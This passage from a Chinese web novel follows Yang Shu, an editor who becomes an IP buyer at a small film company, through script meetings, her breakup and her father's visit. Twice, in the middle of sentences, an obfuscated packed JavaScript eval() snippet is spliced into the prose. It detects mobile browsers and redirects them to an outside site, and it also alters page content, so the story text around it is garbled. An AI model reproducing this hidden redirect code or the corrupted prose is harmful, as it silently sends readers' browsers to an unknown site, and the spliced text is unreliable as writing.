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面包车开到丁盼兮家楼下,在车里等了快半个小时,丁盼兮联系杨树:“他醒了。” 晚上7点半,漫画家一天的生活才刚开始。搬家人员走后,杨树听到客厅里的动静声,出来跟他打招呼。 丁盼兮和漫画家谈了一年多恋爱,这是杨树第一次见到他。每每说到漫画家,丁盼兮眉梢眼角都是崇拜的爱意,给他取个爱称叫橘猫,见着了,杨树发现很形象,憨胖憨胖的一个人。 人不可貌相,他一定才华横溢,杨树这么想着,对漫画家笑了笑:“盼兮说冰箱里有菜,你先吃点东西垫一下,我马上做饭。” 漫画家点个头,肆无忌惮地仔细看她,推了推眼镜,很平淡地说:“你的脸比较好画。”然后叼着一片吐司回房间。 饭桌上,杨树目睹了丁盼兮对漫画家的痴恋,她像个小丫鬟似的,给他夹这夹那,漫画家几乎不说话,吃完碗筷一推,又回了房间。 丁盼兮悄声解释:“橘猫成天宅在家,不怎么见人,对社交也没兴趣,你不要介意。” 杨树问过才知道,漫画家大学毕业就没上班了,在家给人绘制插画为生,他号称有社交恐惧症,所以丁盼兮没和人合租。漫画家缺乏灵感,迟迟出不了作品,生活都由丁盼兮负担,房东年初涨了房租,她每天省着钱过日子。 丁盼兮喜欢看言情小说,杨树经常给她寄书,漫画家知道丁盼兮有个在图书公司的朋友,今天上午,丁盼兮试着说想出租一间给杨树,漫画家同意了。 杨树收拾完东西,躺在床上翻看漫画家的朋友圈,想把他推荐给前同事,很多图书都需要封面或内页插图,漫画家会有用武之地。 漫画家在社交网络发布了为数可观的作品,杨树越看越傻眼,被丁盼兮巴心巴肝养着的男人,作品水准极其一般,如果一定要给予肯定的话,电脑上色水平不错。 丁盼兮微信头像是漫画版的她,杨树以前没留意,眼下点开细看,画得还凑合,但没能捕捉到丁盼兮的神韵,可见漫画家才华真的有限。 丁盼兮人如其名,美目盼兮。山东出丰沃型的美人,丁盼兮也是那一型,秀发如云,身材饱满,是普通人里很亮眼的美,不光是眼睛,她还有一张若有所待的嘴唇,整个人有一种迷离的性感。 施严口口声声李伊梦是他女神,陈樟附和道:“是很女神,就是矮了点。” 杨树心想,长成盼兮那样才算。施严说:“白玉有瑕才更亲民,要是跟你家杨树一般高,那就不是女神,是神女了。” 杨树1米62,不高,亲昵时,陈樟总管她叫小树苗。小树苗环顾四周,这是正式分手第一个晚上,陈樟还好吗?刚才她简直忍不住想跟他聊聊丁盼兮和漫画家,但想想又觉得枉然,也许在漫画家有限的才华和更有限的外表背后,有很多她暂时没发现的好吧。她丢开手机睡觉,每对情侣都有不同的相处方式,不容她一个外来人口置喙。 4. 第 4 章 策划文学室缺人,杨树签订劳务合同第二天就正式上班了。她的工作职责是从网站文库筛选出有改编价值的作品,以及审阅来自版权代理方发来的作品,形成评估报告交给主管。 长夜影视公司规模不大,策划文学室归属于制作部,除了主管,目前有一男四女。四个女人平均年龄不超过30岁,三人已婚,未婚的叫姜妤,25岁,杨树和她座位背靠背。 面试时,主管笑说部门工作性质就是公费看小说,杨树来上班,发现主管的领导风格很散漫,同事们上班时聊家事和娱乐新闻,她也乐呵呵地听,还不时发问,努力弄懂时下流行的网络用语。 已婚三人组里面还没生孩子的那位是军嫂,丈夫在陕西某军分区,她已有备孕打算。每天下午两点多,已育的那两位就结伴走了,她们得接孩子放学。主管大开绿灯,反正大家的职责是审读IP小说,在哪儿都能看。 已育的两人把主管当菩萨供着,三不五时送些小礼物。主管对谁都笑眯眯,但杨树明显感到,主管对她和另外几人更器重些,她需要做事的人。 部门惟一的男同事叫易无,平时闷声不响。已婚三人组趁他不在工位,向杨树介绍易无是笔名,他是网络写手,写了几部作品都没几个人看,只好放弃专职写作,用工资支撑自己业余写作。军嫂开玩笑道:“跟以贩养吸似的。” 已育的一人说:“主要是笔名没取好,易无,一无所有,能红吗?我认识一个大师,特别灵,自从他算出我是旺夫命,我老公就特别宠我,这个包那个包随便我挑。我让易无找大师算一下,改个笔名,他不听。” 杨树在青芽图书公司时,经常应版权部同事的要求做项目策划案,方便他们向外卖影视版权,她刚来几天就向主管提交了两份评估报告,已婚三人组都惊呆了:“你看小说这么快?” 杨树提交的评估报告很专业,又是专业编辑,主管把她当成助理用,让她协助审核其他人交上来的评估报告。杨树最爱看姜妤的,姜妤推荐的以言情小说为主,古代背景多为欢喜冤家型,比如逃婚公主和奸臣家的公子,当代背景则是行业精英型,男女强强联手,谈谈恋爱搞搞事业。杨树回家推荐给丁盼兮,丁盼兮看得有滋有味。 已婚三人组推荐的也是言情小说,她们共同喜欢男人对女人强取豪夺的类型,男主角非富即贵,不外乎王公贵族,总裁二世祖,性格要么矜贵高冷,要么狠厉偏执,网文圈把这类人物统称为霸道总裁。 杨树细看就看出区别了,军嫂喜欢的霸道总裁多以高..干子弟为主,以滔天权势彰显人物魅力,诸如女主角跟男主角闹分手,远走异国,男主角会凭借家族权势,截停女主角所在的那架飞机。 已育的一人丈夫做建材生意,年长她十来岁,她是丈夫的第二任妻子,时常在办公室抱怨丈夫没情趣,不浪漫,但从她穿戴来看,丈夫很满足她的物质需求,颇有点包法利夫人那意思。 包法利夫人推荐的小说情色描写特别多,暧昧期以男主角强吻女主角为主,定情后则动辄上千字床笫缠绵,哪怕男女主角是刑警特种兵,在生死关头也会细细密密吻个不停。 已育的另一人比杨树小半岁,她和丈夫是大学同学,丈夫在IT公司工作,两人是奉女成婚,女儿两岁多。此人经常慨叹自己嫁了个贫穷懒汉,到家就岔开大腿打网游,键盘上落满薯片渣子也不清理,她只能把希望寄托在女儿身上。 这女人的丈夫是甩手掌柜,杨树心里管她叫老板娘,她生了个女儿,还养了个大儿子。老板娘推荐的小说多为情侣失和,女主角怀孕不告而别,男主角追悔万分,满世界寻访,最终在可爱的儿子撮合下,一家三口美满地生活在一起。 已婚三人组交上来的小说,主管对老板娘这类接受度比较高,她认为有戏剧感,人物关系在不停发生变化。杨树是从主管这里,才对人物关系这个说法有了认识,小说可以平缓叙述,娓娓道来,但戏剧追求冲突,重视人物关系,只要几大主角之间的关系搭对了,情节怎么写怎么有。 杨树深感自己在影视业是门外汉,购买了影视类的书籍研究。有天剧本部召开剧本讨论会,主管让杨树见识见识剧本会,姜妤和易无也一道去了。 好友章嘉敏给过一句箴言:清高耿直之人更该努力挣钱,因为金钱几乎是保护自己不被人欺辱的惟一武器。杨树乐观地认为,职业地位可能也算武器,越往上走,傻×言论就越不可能当着你的面说出来。可惜在长夜影视公司工作没多久,她就意识到,在影视这个需要群策群力的行业,什么样的奇怪言论都能听到。 这次项目名叫《婚前三十天》,主线是两个在同一家酒店举办婚礼的女孩,在婚礼倒计时30天之内发生的故事。 公司靠这个创意点顺利拉到婚庆公司、珠宝品牌、五星酒店等赞助,制片人表示,对标作品是由张国立和蒋雯丽主演的那部《金婚》,《金婚》一集描写一年,做成50集,《婚前三十天》计划一集描写一天,做成30集。 《婚前三十天》的编剧是两个女人,已交出剧情大纲,但制片人不满意,具体有哪些意见,他却说不上来,请公司众员工畅所欲言。 《婚前三十天》是双女主结构,甲32岁,是成熟女性,事业小有所成,乙23岁,大学毕业就结婚的小白领。剧本部的同事先后提意见,一个女同事认为,甲的丈夫26岁,比甲整整小了6岁,观众接受不了,建议改成同龄人。编剧说:“电视上那么多中年男人和刚毕业的女下属谈恋爱。” 这部剧的责任编辑是个大学刚毕业的女孩,看着很青春时尚,她说:“没错,男大女小符合现实。所以我们得遵循传统习惯,女人不能比男人大那么多,姐弟恋是小众口味。” 责编是编剧和制片人之间的桥梁,主要负责沟通协调,盯编剧进度,对编剧提交的剧本给予意见建议。制片人接受她的建议,看向编剧,编剧只好说:“那我们把甲改到28岁左右?” 责编马上说:“那不还是大两岁吗,不合适吧。真的,姐弟恋是很多读者观众的雷点,看都不看。” 杨树心想自己也是观众,她这个观众很随和,只要甲塑造得有魅力,别说吸引小她6岁的男人了,吸引女人她也理解,她正想发言,被易无轻轻碰了一下胳膊,示意她别出声。 接下来的意见更是让杨树大饱耳福,按大纲设置,乙的丈夫是大学同学,彼此是初恋定终身,鉴于甲那对被改成同龄人,因此乙的丈夫得改为年长男性,避免角色雷同。 编剧的想法是改成工作上的搭档,亦师亦友型,专业人士,性情宽厚,事业上互相协助,生活上互相陪伴。责编质疑:“那么这个男的有什么魅力?也太普通了吧。” 制片人说:“IP小说不是很流行霸道总裁吗,改成公司老板吧,为人凌厉,但很栽培她,在事业上引领女主成长。” 编剧据理力争:“可我们这戏是现实题材的生活剧,霸道总裁的写法太偶像剧了。” 一个男同事说:“总得考虑收视吧!我跟你说,你可别不信,观众就爱看霸道总裁爱上我,比如去年播的那个《杉杉来了》,我女朋友看了好几遍。” 之后进入剧情调整阶段,不外乎是甲在事业上被各路人马算计,富二代男友一次次用财富相助,狠狠打反派们的脸;乙甜美迷糊,犯错不断,但让阅人无数的精英老板耳目一新,最终金屋藏娇。 这种调整跟已婚三人组的爱好如出一辙,杨树有些困惑,她不明白为什么他们体会不到专业人士的魅力。散会后,她跟易无和姜妤一起回办公室,姜妤看出她的情绪,撇嘴道:“多听几次这种会议,你就气不过来了。” 杨树没好气:“金钱权势就等于男人的魅力吗?” 易无说:“你看那么多网文就知道了,大家都想当富豪权贵,无限度调度社会资源。” 杨树忽然想起陈樟也发过牢骚:“老程能发达,不就是给有钱人当女婿吗?自己家的爹不管用,就去认个爹,男男女女都一样。” 分手后的痛失感在这时才到来,这些天,陈樟发过好几次信息:“我想你。”杨树都忍着没回复。陈樟也打过电话,她也没接,但那种心疼感还在,文艺作品里,主角叱咤风云,无所不能,生活中,陈樟能指靠的,只有那些一夜夜熬出的心血。 易无见杨树低落,以为她还在想会议室的事,低声说:“这项目被带到沟里了,肯定成不了。” 杨树闷闷不乐,军嫂以为她受不了会议室里的二手烟,递上润喉糖:“润下喉咙。” 包法利夫人说:“主管在跟人事申请,再招个男的,以后再喊我们部门开剧本会,就让两个男的去,他们抽烟,你们也抽。” 已婚三人组都只去过一次剧本会,不肯再去。用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079211|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包法利夫人的话说,她既不想吸二手烟,也不爱听人扯淡,那帮人说着说着就扯起了闲篇,半天拉不回来,一上午可能就半小时用于讲正事。军嫂则说表面是让大家各抒己见,但归根结底是一言堂,有话语权的人说了算。 杨树想到剧本会上那两个编剧,制片人固然有话语权,但大学刚毕业的责任编辑是他的助手,对编剧也有话语权。编剧写过几部作品,播得也不错,但不得不听命于责编。 通过会议上对责编和制片人的观察,杨树觉得这个机制有待商榷,责编年轻,经验也欠缺,甚至没写过剧本,却拥有对成熟编剧作品的否决权。 主管说责编是公司自己人,制片人自然更信任责编。杨树默然打开文学网站,找篇轻松风格的小说看。就冲公司目前囤积的IP来看,哪怕只投拍其中三分之一,未来几年,电视屏幕上将会充斥大量不同外壳,但内在相似的霸道总裁爱上傻白甜女孩的故事。 不过,也许同事们说得对,慕强是人类天性,观众就爱看这类。远的不说,丁盼兮每天的下饭剧也是这种。有时杨树很费解,丁盼兮看完电视上英俊的总裁和王爷们,入睡搂的却是她的漫画家,不知心里有没有落差。 中午,杨树去前台拿外卖,路过会议室,听到制片人在挽留编剧。两个编剧都是三十来岁的人,她们对现实题材很感兴趣,认为婚礼倒计时三十天,能探讨许多生活中的问题,这才接受委托创作,但今天这么一调整,变成常规的偶像剧,不是她们想写的。 制片人是从发行人员转过来的,《婚前三十天》是他第一个项目,他也拿《杉杉来了》举例,故事讲的是都市小职员和大老板从相识到相恋的过程,按照传统戏剧法则,它没有丰富的故事内核,也没有大的戏剧冲突,但它成功了。 不光是制片人的太太和丈母娘,在餐厅也有无数人在看,还看得满脸堆笑,制片人也很不解,他说起去年另一部剧《古剑奇谭》,它是单机游戏改编,也热播一时,还直接催生出一个词“流量”。男主角被誉为流量明星,意即他人气高,影响广,关于他的资讯会让网站和手机等访问流量暴增。 这些实例无不说明,影视业过去的经验逐渐被颠覆,谁能没有危机?《婚前三十天》是公司的原创点子,不是IP,制片人判定已经失了先机。既然IP时代已不可避免地到来,为何不顺应时势? 影视剧动辄几千万上亿投资,试错成本太高,如果还按传统范式操作项目,可能不等投拍,就已过时。杨树几乎要被制片人这席话说服,但隐隐却感觉有哪里不对。 《杉杉来了》播出时,章嘉敏也很喜欢,杨树跟着看过几集,女主角灵动可爱,男主角英俊挺拔,是很讨喜的偶像剧。她决定回家找出来看完,琢磨琢磨成功之道。 制片人向两个编剧道歉,他承认自己先前对《婚前三十天》的生活剧定位错了,它应该是以谈恋爱为主的轻喜剧,编剧问:“那为什么要改成男强女弱,两个女人都那么被动。” 制片人笑道:“现实就是这样。” “可您刚才说,现在改成偶像剧了,不是现实题材了。”两个编剧仍然请辞,杨树走开了,她听得出来,制片人其实也是真心想把事情做好,否则让编剧自由发挥,他还能少费点心思。 回办公室,杨树跟主管聊起这事,主管让她听着玩,影视剧需要通力合作,但剧本是资本和市场导向,只有屈指可数的几个大编剧,才有一定的话语权。 下午,制作部召开全体会议,分管副总通报,某家视频网站已购入几千个IP小说,而且这个数目还在增加。 众人都惊怔,但也明白形势逼人,演员片酬居高不下,拍摄制作费也水涨船高,选择IP小说投拍,很大程度出于抗风险意识。因为能在浩瀚的网络文学界杀出来的作品,本身就说明了成功,在它读者广泛的基础下,把它拍出来,火的几率大。 照目前趋势看,IP热还得火上几年,下班后,杨树走出大楼,一抬头,陈樟站在公司门口的花坛边。 杨树走上前去,陈樟狠狠抱住她:“我错了,你回来吧。” 杨树在他怀里待了一会儿才挣开,是认真喜欢过的人,但一切都过去了。她说:“我们真的算了。” 陈樟看着杨树,杨树也看着他,狠狠心,说:“我已经不喜欢你了。”然后快步走了,不敢再看陈樟那双眼睛。 5. 第 5 章 杨树看不惯漫画家每天无所事事,以青芽图书公司前同事的名义,向他约了一张画稿,让他知道要去挣钱,别整天以搞创作之名虚度光阴,把生活重担全部压在丁盼兮肩头。 漫画家有事做了,兴许就能慢慢振作起来。丁盼兮很开心,饭后,她给漫画家洗了一串提子,哄着他打开绘图软件,争取早点交出画稿,不负杨树的信任。 杨树和陈樟的婚期定在7月29日,两人正式定情三周年之际。如今已是5月中旬,爸爸打来视频电话,兴致勃勃地跟杨树盘点嫁妆,他年初就在准备了。 爸爸留了一笔钱,想让杨树买辆车,方便她上下班,等她摇到号就行动。杨树想说和陈樟分手,但面对爸爸的笑脸,她张不开嘴,挂了视频电话,她自暴自弃地在床上躺了一会儿。 刚来北京那会儿,杨树就计划过,努力站稳脚跟,多赚点钱,把爸爸接来住。她做好了好好奋斗10年的打算,可是8月就要27岁了,还一事无成,婚事也搁浅,要让爸爸失望了。 妈妈葬礼结束的黄昏,天边有很美的火烧云。爸爸打起精神送走亲戚,杨树回家,洗完澡把习题集做完,头发半湿地坐在阳台上发呆,她快要中考了。那时候她还不晓得,以后的人生要面对的事,不会比那天更容易。 从25岁开始,杨树所设想的未来,都和陈樟有关,但从现在起,她必须重新规划生活,她决定在长夜影业签下第一个IP时,再向爸爸说出分手实情。 经朱青引荐,那部外版小说和一家出版社签了约。他们很重视它,纳入年度重点图书之一。杨树提前两小时下班,回青芽图书公司答谢朱青,送出的礼物是一套书立,图案是日本童话《银河铁道之夜》里的角色,她先找漫画家绘制,再找家网店定制而成。 《银河铁道之夜》是朱青偏爱的作品,杨树在她办公桌上见过几个版本。因为有漫画版,漫画家照着画,图案还算能看,朱青接过书立,立即用上了,她看出杨树面容憔悴,轻声说:“会过去的。” 杨树黯然点头,她和陈樟分手一事,想必是施严传开的,连前下属们也问过。青芽图书门口有几个咖啡座,杨树边看书边等章嘉敏下班,先出来的却是施严,他看不得陈樟为情所困,劝道:“你明知道,现在是他最艰难的时候。” 杨树说:“你有空多跟他聊聊天。” 施严恨铁不成钢:“我真搞不懂你,你27岁了吧,你跟他分手,对你有什么好处?” 杨树莫名其妙:“27岁怎么了?” 施严也许是激将,更可能是肺腑之言,话说得很坦率:“当大龄剩女有劲吗?等陈樟把游戏做出来了,大把小姑娘等着他选,你信不信?你想反悔也来不及了。” “剩女这个词,是男人发明出来吓唬女人的。女人上当了,焦虑了,男人才能骗到女人结婚。”杨树眼见施严神色不快,更觉惬意,“你怎么就觉得我一定过不好?别的不说,我现在工资比这边高,头儿也好说话。” 施严认定杨树深深得罪了李伊梦,整个图书出版行业都不愿接纳她,才被动转行,而且只能当个IP买手,在青芽好歹是编室主任。 杨树笑而不答,施严这才面色转好,特地提醒青芽图书也在涉足影视业,大老板成立了新公司青芽传媒,没准哪天又和李伊梦打上交道了,杨树笑问:“所以你是说,她还能隔空给我穿小鞋?” 施严听不出她的讽意,点头道:“唐总和张总都器重她,她肯定还能继续升职。” 杨树手搭凉棚:“好啊,我拭目以待。” 施严当她听进去了,回了公司,杨树坐在咖啡座,自己笑了一阵。李伊梦再怎么春风得意,她的影响力也有限,手也伸不到那么长,她想让长夜影视公司的人给谁穿小鞋,就必须动用人情,但人情哪是那么好用的?还真当长夜影视公司的人都是她的拎包小弟? 章嘉敏下班出来,杨树跟她学了一遍施严的话,两人一齐乐了。公司边上有家韩国餐厅,两人都喜欢它家的烤肉和石锅拌饭,刚吃上,李伊梦和施严就进来了。 李伊梦入座时发现杨树,起身就走,施严连忙跟上,杨树又看乐了。男人总说女人现实,他们自己才势利,比他地位高的,还不是乖乖捧着。 次日上班,杨树收到几本世界名著,都是朱青寄来的,这让她仿佛回到中学时代,过生日总会收到好友寄的书。好友只考上本地大专,毕业就结婚生子,杨树和她渐渐没有多少话题,每年过年回家还会见面,但已不如从前亲昵。 杨树大学时看过这几部名著,但朱青寄的版本翻译水平很高,工作之余,她重温起来。一开始,她以为这是朱青对书立的回礼,但越看她越意识到,朱青看出她为分手心伤,希望她通过伟大作品走出来。 一切都会过去,正如经典巨著里那些被命运摧残,却依然绽放的生命。杨树读书看剧做笔记,每次剧本部喊人帮忙提意见,她都和姜妤及易无同去。 已婚三人组把他们这种行为视为自讨苦吃,戏称他们是敬业三人组。但敬业三人组都认为,既然职责是买IP,就得搞明白公司制作方的想法和需求,他们都想学习什么叫戏剧,什么是好看的戏。 主管倒觉得没必要太积极,戏剧创作没有一定之规,经常是一家之言,有主控权的那个人说了算,听多了各路匪夷所思的意见,反而会糊涂起来,把自己绕进去。姜妤说:“您放心,我们会带着脑子判断。” 《婚前三十天》换了新编剧,是大学刚毕业的小夫妻档,交出的剧情大纲按制片人的要求严格执行,在第一稿的基础上微调,顺利通过。 制片人夸小夫妻档既虚心又认真,召集剧本部连着开了3天剧本会,确立了主要情节点,跟编剧约定一个月后交出30集分集梗概。 各大卫视和视频网站被影视公司称为平台,影视公司聘请编剧写完剧本大纲分集梗概和前5集,再递交给平台审阅,平台采销部门有意向购买,该剧就算有着落了,公司才敢让编剧放手往下写,同时拿着这些资料找演员。 国内演员虽多,但平台认可且有观众缘的演员却有限,他们的档期排得很满,因此很可能剧本才写完一部分,影视公司就得迁就演员档期,匆忙开机,边拍边写。杨树问:“那为什么不等剧本写完再找演员?他今年没档期的话,早早订下他明年的时间不好吗?” 老板娘说:“很多编剧会拖稿,把工期定死,就给他们上紧箍咒了。” 主管说:“那倒是其次,房价每天都在变,影视风向也变得快。有几年流行婆媳剧,有几年流行后宫剧,你为了迁就演员档期,等上一年半载,你的项目可能就过时了,观众口味太刁了,变得还快。” 易无说:“还有个审查问题,我读中学时,电视上那么多反腐剧,现在哪还能看到。” 图书行业官场小说也销声匿迹了,杨树懂了,在种种不可抗力面前,影视公司当然得快抢上了。 已婚三人组推荐的小说,大部分都出自姜妤曾经工作过的那家网站,霸道总裁们身份各异,但经不起推敲,都是同一个人,披着不同的皮。姜妤说:“霸道总裁再流行,最好也得有点创新点,不然怎么跟人竞争?” 杨树问:“你们为什么要喜欢凶巴巴的男人?” 军嫂笑嘻嘻道:“所以说你不是言情爱好者嘛。霸道总裁的重心在于总裁,霸道穷人谁爱看?” 包法利夫人说:“还得年轻,长得帅。” 三个女人都笑了起来,杨树打开电脑工作,她只喜欢对她温柔的男人,跟有钱没钱没关系。 姜妤对一篇小说斟酌不下,让杨树帮她看看。小说不长,只有二十来万字,杨树花了三个多小时看完,作者的笔力跟不上构思,故事没写好,还烂尾了。但姜妤认为它有着很好的框架,优点也突出,起承转合伏笔爽点样样不差,在影视改编上有优势。 易无也坐过来,听姜妤讲解假如她当编剧,她会怎么改,主管听了几句:“你写个评估报告吧,有改编价值就行,不然要编剧干什么。” 姜妤说年轻人没那么热衷传统叙事,一个新颖的好梗,就可能让一篇小说迅速崛起,影视业很看重这种创新点。杨树在青芽图书公司当编辑,挑选的都是成熟作品,但影视公司对IP的评判标准有所不同,她从姜妤这里学到了很多。 做出版 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16079212|179364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 编辑的时候,很多小说各方面水准均衡,但就是卖不好,但缺点很多的小说却能大爆,杨树一度不解,但按网文和影视作品来评判,她脑子里明确多了,类型作品不必完美,只要优点足够突出,就能满足某一类人群的需求。 入职当月底,杨树推荐的一部小说被老板看好,进入购买流程。在她之前,姜妤和易无也分别成功为公司引进了IP。易无的是以大航海时代为背景的历史小说,老板很喜欢,打算当成重点剧开发;姜妤的是明英宗年间,制茶世家四个女儿的命运和爱情,被主管评价为明朝版《傲慢与偏见》;杨树的则是关于唐朝珠宝业的故事,紧扣丝绸之路展开。 老板娘很郁闷:“上头就喜欢这种又红又专的东西,搞不懂年轻人的口味了,看着吧,拍出来肯定扑街。” 版权代理公司和图书出版公司不定期向主管推荐IP,主管看不过来,都分发给众下属。有几次,杨树领到前公司发来的小说,其中李伊梦的女□□业部那些,她分给易无和姜妤代劳,她不想和李伊梦打交道。 据章嘉敏说,李伊梦再次向老板们示弱成功,女□□业部开拓了新领域,出版儿童读物。章嘉敏是部门资格最老的编辑,童书都交给她的六编室,大人们是越来越不爱读书了,但很舍得为孩子买书。 童书通常薄薄几十页,全彩印刷,定价高,但不愁卖。青芽图书公司和几名儿童文学作家达成合作,策划出版一套关于海洋的科普童话故事。作家交出第一篇故事,章嘉敏征集插画师,杨树提出让漫画家试试。 童书对插画要求相对没那么高,漫画家画功普通,但色彩感好,小孩子都喜欢绚丽颜色。杨树让他针对故事情节画一幅看看,合适就签订正式合同,丁盼兮很高兴,漫画家却拉下了脸:“我不接受试稿。” “不管是否采用,都会给你稿费。”杨树解释,青芽图书公司有明文规定,即使不采用画作,都会酌情给予稿费,谓之损稿费,不让画手白忙活一场。 漫画家仍不乐意:“不就是嫌我名气不响,换个名气大的,你们至于让他先干活再付费吗?” 杨树也拉下脸,丁盼兮赶紧哄漫画家:“杨树现在不在青芽了,说话没那么方便,她帮你揽活儿,我们得感谢她。” 漫画家盯住杨树,杨树最烦男人沉着脸看她,冷声道:“名家在约定时间交不出稿,一样要支付违约金。” 吃完饭,丁盼兮去收衣服,杨树洗碗,漫画家靠着厨房的门框,看着她忙活,问:“你为什么帮我?” 杨树给丁盼兮的面子,不当着她的面挖苦漫画家,丁盼兮不在场,她就不用客气了:“我是在帮盼兮,家里家外都是她忙活,你得分担。” 漫画家甩手走了,过了片刻,丁盼兮走进厨房切哈密瓜,小声说:“他答应试稿了。” 漫画家连吃哈密瓜都嫌麻烦,需要丁盼兮切成片,一片片喂他吃,他自己坐在电脑面前,不是玩游戏,就是看美剧,杨树实在不解:“他到底哪里好?” “有才华啊,对我也好。”丁盼兮给杨树看她的手机图库,漫画家的作品少,但署名永远会有一行英文:献给吾爱。丁盼兮甜蜜地说,“他只有我,我也只有他,我喜欢有人和我相依为命。” 杨树无言,爸爸单位有个男人时常在本地晚报副刊发表散文,中秋就鉴赏一篇李白诗,苏轼词,抒发感悟,七夕就介绍乞巧的由来,讴歌牛郎织女的爱情,因此被众同事誉为大才子。 杨树看过此人的文章,挖苦爸爸单位的人真虚伪,爸爸却说那些人的赞美是真心实意,因为很多人不具备识别才华的能力,对方会吹牛会显摆,就能把一般人镇住。 杨树找男朋友顺眼就行,相处舒服为重,从不曾因为崇拜谁的才华,而肝脑涂地奉献,但对着丁盼兮一双明眸,她把话吞回去。才华这回事,见仁见智,丁盼兮认为漫画家有,她不能说漫画家没有。 丁盼兮端着一盘哈密瓜片进屋哄漫画家干活,杨树在厨房里长吁一口气。她爸干民政工作,她自小就看到各种不般配的伴侣,他们待在一起,各有各的委屈,但打死不分开,那时爸爸就说过,外人劝,没用,得她自己想通。 6. 第 6 章 6月初,爸爸和杨树商量,想趁年休假来趟北京。杨树和陈樟的婚期在即,爸爸作为女方家长,有些事情要碰头商议,杨树推说工作忙,让爸爸下个月再来。 爸爸说杨树没空,他喊上陈樟就行了,陈樟自己开公司,工作时间自由些。他笑哈哈:“老丈人来了,他该不会一天时间都抽不出来吧?” 杨树张了张嘴,喊了一声爸,喉咙口堵住,爸爸顿了一下,问:“你俩是不是闹别扭了?” 杨树终于说出她和陈樟已经分手,具体没多说,只说陈樟抵押房产,还找小额贷款借了几十万。爸爸认为杨树做得对,但他仍想来北京看看女儿,休假申请也已交上去了。 爸爸是杨树在这世界上最亲的人,杨树擦掉眼泪,去洗把脸,把白天没看完的小说看完,再看一集热播剧睡觉。 丁盼兮租的这套房子在小区最里面,入夜极静,杨树却睡不着了。故乡海拉尔是呼伦贝尔辖区,她在那里出生长大,考上内蒙古大学,在省会呼和浩特度过了四年光阴。大学四年级,她报考公务员,分数下来,她和一个男生并列第一,但录用名额只有一个。 面试时,杨树看不出对方的态度,爸爸在工作上和那家单位的领导打过交道,他不顾杨树反对,买了进口烟酒和水果去探探路。 在小区大门口,迎面碰到领导一家,他们刚出门。领导跟杨树和爸爸说了两句话,说会慎重考虑考虑,研究研究,让爸爸把礼品放在岗亭,等他回来拿。 回家路上,杨树和爸爸都很沉默。快到家了,爸爸说他很后悔,他买的是最贵的车厘子,杨树还没吃过。 公示结果下来,单位选了男生。爸爸想去要说法,杨树拉住了他,一个连门都不让进,一杯热茶都不给你喝的人,还能说什么?她不想再让爸爸受委屈。 小城市不进体制内,找不到像样的工作,爸爸还想再托托门路,从临时工干起都行,杨树给呼伦贝尔的公司投了简历,都没收到回音,于是她跟一家劳务派遣公司签了合同,来了北京。上了车,她才给爸爸发了短信。 劳务派遣公司签的大多是中专技校生,杨树是仅有的两名本科生之一,她是英语专业,被输送到外贸公司当报关员。 那是2011年,杨树初到北京,有四人宿舍住,有微薄收入,她知道这只是个起点,她的理想是当编辑。 大学时代,杨树在学校图书馆看了很多书刊,那些精美的杂志几乎都在北京。有一天,一家都市女性类杂志社官方网站发布了招聘启事,杨树对照要求一看,投出简历。 杂志社通知杨树去面试,它坐落在一幢气派的红房子里。面试官是编辑部主任,上下看了看杨树,让她填了一张表格,就让她回去听通知了。 离开这家杂志社,杨树和几个时尚光鲜的女孩擦肩而过。女孩们跟她同龄,但行头昂贵,当时杨树想,家里条件这么好,拎着几万块钱的包,来应聘几千块钱的工作吗?后来她才明白,她们未必都有钱,肯在穿衣打扮上花钱罢了。 杨树没收到复试通知,到了秋天,她应聘一家少女类杂志成功。杂志以青春校园小说和心灵鸡汤为主,老板每个月都在为下滑的销量发愁。第二年,杂志转型,主打言情小说,杨树开始发掘作者。 杂志销量一点点攀升,杨树和同事们都很有成就感,但老板为了压缩成本,要求编辑们尽量多从网上扒图,少找插画师约稿,杨树说:“这可是侵权,被人追究怎么办?” 老板说:“杂志这么多,不一定能发现,发现就补发稿费呗。” 杨树辞了职,跳槽到青芽图书出版公司,然后是长夜影视公司。从职业规划上,她认为自己没走错,但一想到爸爸,她就很难过。爸爸说过,工作上跳来跳去,只要是良性发展,他都赞成,但感情要稳定,不能朝三暮四。 周五下班,杨树去接爸爸。爸爸从海拉尔出发,坐了快30个小时的火车来北京。父女见面,在酒店住下,第二天坐大巴去爬长城。 星期天在故宫逛到闭馆出来,爸爸打算明天等杨树上班,自己去北戴河,内蒙没有海,他想看海。杨树想找主管请假,爸爸却不让:“你爸才55岁,别把你爸当老人看。” 杨树带爸爸吃北京小吃,这家店是丁盼兮推荐的,炸酱面做得极好。面刚上来,陈樟打来电话:“叔叔哪天回去?我陪他逛两天吧。” 杨树在朋友圈发了合照,被陈樟看到了,分手后两人都没舍得删除对方。杨树说不用,陈樟却坚持要来,他说他跟杨树回家那两次,杨叔叔盛情款待了他,他让杨树给他一个回报的机会。 杨树说:“我们已经分手了。” 爸爸说跟陈樟见见面也无妨,杨树一脸难色,爸爸让她快吃炸酱面,他就是想见见陈樟,不会干涉两人的事。 陈樟开车陪杨父去看大海,不时汇报动向,第二天下午,两人回北京,陈樟把杨父送到长夜影视公司,爸爸想看看杨树上班的地方。 